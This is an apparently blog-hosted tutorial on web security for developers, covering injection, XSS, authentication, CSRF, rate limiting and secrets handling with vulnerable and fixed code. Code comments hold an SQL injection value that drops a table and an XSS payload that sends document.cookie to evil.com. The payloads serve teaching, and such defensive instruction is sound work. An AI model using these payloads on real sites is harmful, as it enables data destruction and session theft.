Web Security Every Developer Must Know in 2026
Security is not a feature you bolt on after launch. It is a discipline you build into every line of code from day one. The average cost of a data breach in 2026 is $4.9 million. The average time to detect one is 194 days. Most breaches exploit vulnerabilities that were known, documented, and preventable.
This guide is practical and code-first. No vague advice — just the attacks, how they work, and exactly how to stop them.
"Security is always excessive until it's not enough." — Robbie Sinclair
1. Injection Attacks: Still the #1 Killer
SQL injection has been on the OWASP Top 10 for over two decades. It is still responsible for thousands of breaches every year. The reason: developers keep concatenating user input into queries.
The Vulnerable Code
// NEVER do this — classic SQL injection
app.get('/users', async (req, res) => {
const { name } = req.query;
// If name = "'; DROP TABLE users; --"
// This query becomes: SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
const query = `SELECT * FROM users WHERE name = '${name}'`;
const users = await db.raw(query);
res.json(users);
});
The Fix: Parameterized Queries
// Always use parameterized queries or an ORM
import { db } from '@/lib/database';
// Option 1: Parameterized query (raw SQL)
app.get('/users', async (req, res) => {
const { name } = req.query;
// The driver handles escaping — user input never touches the query string
const users = await db.raw('SELECT * FROM users WHERE name = ?', [name]);
res.json(users);
});
// Option 2: ORM (Prisma) — parameterized by default
app.get('/users', async (req, res) => {
const { name } = req.query;
const users = await prisma.user.findMany({
where: { name: String(name) },
});
res.json(users);
});
// Option 3: Input validation before it even reaches the DB
import { z } from 'zod';
const querySchema = z.object({
name: z.string().min(1).max(100).regex(/^[a-zA-Z\s]+$/),
});
app.get('/users', async (req, res) => {
const result = querySchema.safeParse(req.query);
if (!result.success) return res.status(400).json({ error: 'Invalid input' });
const users = await prisma.user.findMany({
where: { name: result.data.name },
});
res.json(users);
});
2. Cross-Site Scripting (XSS)
XSS lets attackers inject malicious scripts into pages viewed by other users. It can steal session cookies, redirect users, or silently exfiltrate data.
Stored XSS Example
// Vulnerable: storing and rendering raw user input
// User submits: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// BAD — rendering raw HTML
function CommentList({ comments }: { comments: Comment[] }) {
return (
<div>
{comments.map(c => (
// dangerouslySetInnerHTML with unsanitized content = XSS
<div key={c.id} dangerouslySetInnerHTML={{ __html: c.body }} />
))}
</div>
);
}
// GOOD — React escapes by default, use text content
function CommentList({ comments }: { comments: Comment[] }) {
return (
<div>
{comments.map(c => (
// React automatically escapes this — no XSS possible
<div key={c.id}>{c.body}</div>
))}
</div>
);
}
// If you MUST render HTML (e.g., rich text from a CMS), sanitize first
import DOMPurify from 'isomorphic-dompurify';
function RichContent({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'h2', 'h3'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Content Security Policy (CSP)
CSP is your last line of defense against XSS. It tells the browser which sources are allowed to execute scripts.
// next.config.mjs — add security headers
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-{NONCE}'", // Only scripts with valid nonce
"style-src 'self' 'unsafe-inline'", // Tailwind needs this
"img-src 'self' data: https:", // Allow external images
"font-src 'self'",
"connect-src 'self' https://api.yourapp.com",
"frame-ancestors 'none'", // Prevent clickjacking
].join('; '),
},
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];
export default {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
},
};
3. Authentication and Session Security
Broken authentication is OWASP #2. The mistakes are almost always the same.
Password Hashing
import bcrypt from 'bcryptjs';
// NEVER store plain text passwords
// NEVER use MD5 or SHA1 for passwords
// Registration
async function createUser(email: string, password: string) {
// Cost factor 12 = ~250ms on modern hardware (good balance)
// Higher = slower brute force, but also slower login
const hashedPassword = await bcrypt.hash(password, 12);
return prisma.user.create({
data: { email, password: hashedPassword },
});
}
// Login
async function verifyPassword(plaintext: string, hash: string): Promise<boolean> {
// bcrypt.compare is timing-safe — prevents timing attacks
return bcrypt.compare(plaintext, hash);
}
JWT Best Practices
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_SECRET = process.env.JWT_ACCESS_SECRET!;
const REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_SECRET!;
// Short-lived access token + long-lived refresh token
function generateTokens(userId: string) {
const accessToken = jwt.sign(
{ sub: userId, type: 'access' },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' } // Short expiry — limits damage if stolen
);
const refreshToken = jwt.sign(
{ sub: userId, type: 'refresh' },
REFRESH_TOKEN_SECRET,
{ expiresIn: '7d' }
);
return { accessToken, refreshToken };
}
// Verify with explicit algorithm — prevents algorithm confusion attacks
function verifyAccessToken(token: string) {
return jwt.verify(token, ACCESS_TOKEN_SECRET, {
algorithms: ['HS256'], // Never allow 'none' algorithm
});
}
// Store refresh tokens in httpOnly cookies — not localStorage
// localStorage is accessible to JavaScript (XSS can steal it)
// httpOnly cookies are NOT accessible to JavaScript
export async function POST(req: Request) {
const { email, password } = await req.json();
const user = await authenticateUser(email, password);
const { accessToken, refreshToken } = generateTokens(user.id);
const response = NextResponse.json({ accessToken, user });
// Refresh token in httpOnly cookie
response.cookies.set('refresh_token', refreshToken, {
httpOnly: true, // Not accessible via document.cookie
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 7 days
path: '/api/auth/refresh',
});
return response;
}
localStorage. It is accessible to any JavaScript on the page — including injected scripts. Use httpOnly cookies.4. CSRF: Cross-Site Request Forgery
CSRF tricks authenticated users into making unintended requests. A malicious site can submit a form to your API using the victim's cookies.
// Middleware: CSRF protection for state-changing routes
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';
// Double-submit cookie pattern
export function generateCsrfToken(): string {
return crypto.randomBytes(32).toString('hex');
}
export function validateCsrfToken(req: NextRequest): boolean {
const cookieToken = req.cookies.get('csrf_token')?.value;
const headerToken = req.headers.get('x-csrf-token');
if (!cookieToken || !headerToken) return false;
// Timing-safe comparison
return crypto.timingSafeEqual(
Buffer.from(cookieToken),
Buffer.from(headerToken)
);
}
// In your API routes
export async function POST(req: NextRequest) {
if (!validateCsrfToken(req)) {
return NextResponse.json({ error: 'Invalid CSRF token' }, { status: 403 });
}
// ... handle request
}
Origin header check. But custom API routes (/api/*) do not — you need to add it manually for any state-changing endpoint.5. Rate Limiting and Brute Force Protection
Without rate limiting, your login endpoint is an open invitation for credential stuffing attacks.
// Using Upstash Redis for distributed rate limiting
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 minutes
analytics: true,
});
export async function POST(req: NextRequest) {
const ip = req.headers.get('x-forwarded-for') ?? '127.0.0.1';
const identifier = `login:${ip}`;
const { success, limit, reset, remaining } = await ratelimit.limit(identifier);
if (!success) {
return NextResponse.json(
{ error: 'Too many login attempts. Try again later.' },
{
status: 429,
headers: {
'X-RateLimit-Limit': String(limit),
'X-RateLimit-Remaining': String(remaining),
'X-RateLimit-Reset': String(reset),
'Retry-After': String(Math.ceil((reset - Date.now()) / 1000)),
},
}
);
}
// Proceed with authentication
const { email, password } = await req.json();
// ...
}
6. Dependency Security: The Supply Chain Problem
node_modules folder is a massive attack surface.# Audit your dependencies regularly
npm audit
# Fix automatically where possible
npm audit fix
# Check for known malicious packages
npx is-website-vulnerable https://yoursite.com
# Pin exact versions in package.json (not ranges)
# BAD: "lodash": "^4.17.0" ← could install 4.17.21 with a vulnerability
# GOOD: "lodash": "4.17.21" ← exact version, predictable
# Use lockfiles and verify them in CI
# package-lock.json or yarn.lock must be committed and verified
# GitHub Dependabot — enable in .github/dependabot.yml
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
# Auto-merge patch updates
groups:
patch-updates:
update-types: ["patch"]
event-stream incident (2018), ua-parser-js (2021), and node-ipc (2022) all involved malicious code injected into popular npm packages. A package with millions of weekly downloads is not automatically safe.7. Environment Variables and Secrets Management
// NEVER commit secrets to git
// NEVER log secrets
// NEVER expose server secrets to the client
// next.config.mjs — only expose what the client needs
export default {
env: {
// These are exposed to the browser — only public values
NEXT_PUBLIC_APP_URL: process.env.NEXT_PUBLIC_APP_URL,
NEXT_PUBLIC_POSTHOG_KEY: process.env.NEXT_PUBLIC_POSTHOG_KEY,
},
// Server-only secrets are accessed via process.env directly
// They are NEVER sent to the client
};
// Validate all env vars at startup
import { z } from 'zod';
const envSchema = z.object({
DATABASE_URL: z.string().url(),
JWT_SECRET: z.string().min(32),
OPENAI_API_KEY: z.string().startsWith('sk-'),
NEXT_PUBLIC_APP_URL: z.string().url(),
});
// This throws at build time if any required env var is missing
export const env = envSchema.parse(process.env);
# .gitignore — make sure these are always ignored
.env
.env.local
.env.production
.env*.local
*.pem
*.key
secrets/
process.env.DATABASE_URL or sk- (OpenAI key prefix) returns thousands of accidentally committed secrets. Use git-secrets or truffleHog in your CI pipeline to catch this before it reaches the repo.8. Security Headers Checklist
// middleware.ts — apply security headers to every response
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const response = NextResponse.next();
// Prevent MIME type sniffing
response.headers.set('X-Content-Type-Options', 'nosniff');
// Prevent clickjacking
response.headers.set('X-Frame-Options', 'DENY');
// Force HTTPS for 1 year, include subdomains
response.headers.set('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
// Control referrer information
response.headers.set('Referrer-Policy', 'strict-origin-when-cross-origin');
// Disable browser features you don't use
response.headers.set('Permissions-Policy', 'camera=(), microphone=(), geolocation=(), payment=()');
return response;
}
9. The Security Mindset
| Principle | What it means in practice |
|---|---|
| Least Privilege | API keys, DB users, and IAM roles should have only the permissions they need |
| Defense in Depth | Multiple layers — validation, auth, rate limiting, CSP, monitoring |
| Fail Secure | When something goes wrong, default to denying access, not granting it |
| Zero Trust | Verify every request, even from internal services |
| Shift Left | Find vulnerabilities in development, not production |
npm audit, add security headers, use parameterized queries, store tokens in httpOnly cookies, and validate all input with Zod. These five things alone will protect you from the vast majority of real-world attacks.Watch: Web Security Fundamentals

The Bottom Line
Security is not about being paranoid. It is about being systematic. Most breaches are not sophisticated zero-days — they are basic mistakes that were never fixed. Parameterize your queries. Hash your passwords. Validate your inputs. Add security headers. Audit your dependencies.
Do these things consistently and you will be more secure than 90% of the web.

Vighnesh Salunkhe
"Passionate about building scalable web applications and exploring the intersection of AI and human creativity."
Join the Conversation
Share your thoughts or ask a question